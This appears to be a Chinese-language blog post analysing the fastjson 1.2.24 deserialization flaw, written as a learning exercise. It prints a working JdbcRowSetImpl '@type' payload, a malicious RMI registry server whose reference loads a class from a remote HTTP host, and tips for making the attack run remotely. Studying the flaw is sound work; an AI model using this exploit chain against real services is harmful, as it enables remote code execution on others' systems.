fastjson-1.2.24 反序列化漏洞浅析

2018-6-14 小屿 Java

学习自廖新喜大牛的博客,感谢这些乐于分享技术的大牛使得小白有机会学习


最近在学习Spring MVC,在开发中用到了一些JSON库,于是去了解到了一下这些库发生过的漏洞,发现jackson和fastjson在2017年都被爆出过多个代码执行漏洞。


首先了解一下json的序列化,我理解为把java对象转为json字符串,反序列化即为把json字符串转为java对象,例子如下

package jsontest;

import com.alibaba.fastjson.JSON;

public class Json {

	public static void main(String[] args) {
		User   user     = new User(1, "test");
		String jsonUser = JSON.toJSONString(user);
		System.out.println(jsonUser);

		User user1 = JSON.parseObject(jsonUser, User.class);
		System.out.println(user1);
	}
}

User类如下

package jsontest;

public class User {

	private int id;
	private String name;

	public User() {
		System.out.println("hello");
	}

	public User(int id, String name) {
		this.id = id;
		this.name = name;
	}

	public int getId() {
		return id;
	}

	public void setId(int id) {
		this.id = id;
	}

	public String getName() {
		return name;
	}

	public void setName(String name) {
		this.name = name;
	}
}

而fastjson可以通过构造一个特殊的json在反序列化时候实例化设定的类并调用其set方法

String json = "{\"@type\":\"jsontest.User\",\"id\":233}";
User user = JSON.parseObject(json, User.class);
System.out.println(user.getId());

当然也可以构造"{\"@type\":\"java.lang.Runtime\"}"这样子的,但是并不意味着可以直接用来执行命令

但是有大牛找到了com.sun.rowset.JdbcRowSetImpl这个类,十分巧妙的实现了远程代码执行,exp如下

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/PocTestClass\"," +" \"autoCommit\":true}";
JSON.parse(payload);

这里实际上是用了jndi注入,在blackhat2016上讲到的方法

为了理解写了个jndi注入的例子

package jndiInject;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {

	public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
		Registry registry = LocateRegistry.createRegistry(1099);
		Reference reference = new Reference("PocTestClass",
				"PocTestClass", "http://xia0yu.win/");
		ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
		registry.bind("PocTestClass", referenceWrapper);
	}
}
package jndiInject;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {

	public static void main(String[] args) throws NamingException {
		String  uri = "rmi://localhost:1099/PocTestClass";
		Context ctx = new InitialContext();
		ctx.lookup(uri);
	}
}

了解jndi注入后再回来看这个exp

首先调用setDataSourceName方法,调用抽象父类的setDataSourceName给dataSource赋值,这个值就是json里面dataSourceName的value:rmi://localhost:1099/PocTestClass

QQ20180619-153234@2x.png

接着是调用setAutoCommit方法

QQ20180619-153949@2x.png

conn默认为null所以进入connect方法

QQ20180619-154218@2x.png

connect方法里面实现了jndi注入JNDIClient的代码,如下:

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());        

最后是执行成功

QQ20180619-154702@2x.png

然后用Spring写了个实例=、=|||

QQ20180619-154740@2x.png


值得注意的是刚开始 RMIService 我无法在运行在自己服务器上远程调用,而网上的fastjson exp都是本地测试命令执行,很多rmi例子也只是本地运行的例子,去学习了解 rmi 后终于找到了原因。

运行rmi服务似乎必须设置java.rmi.server.hostname=yourIp才能实现远程服务的功能,例如:java -Djava.rmi.server.hostname=6.6.6.6 jndiInject/RMIService。

通过设置java.rmi.server.hostname后实现了真正的远程调用,通过json反序列化成功远程执行系统命令。

标签: 反序列化漏洞

发表评论:

Powered by xia0yu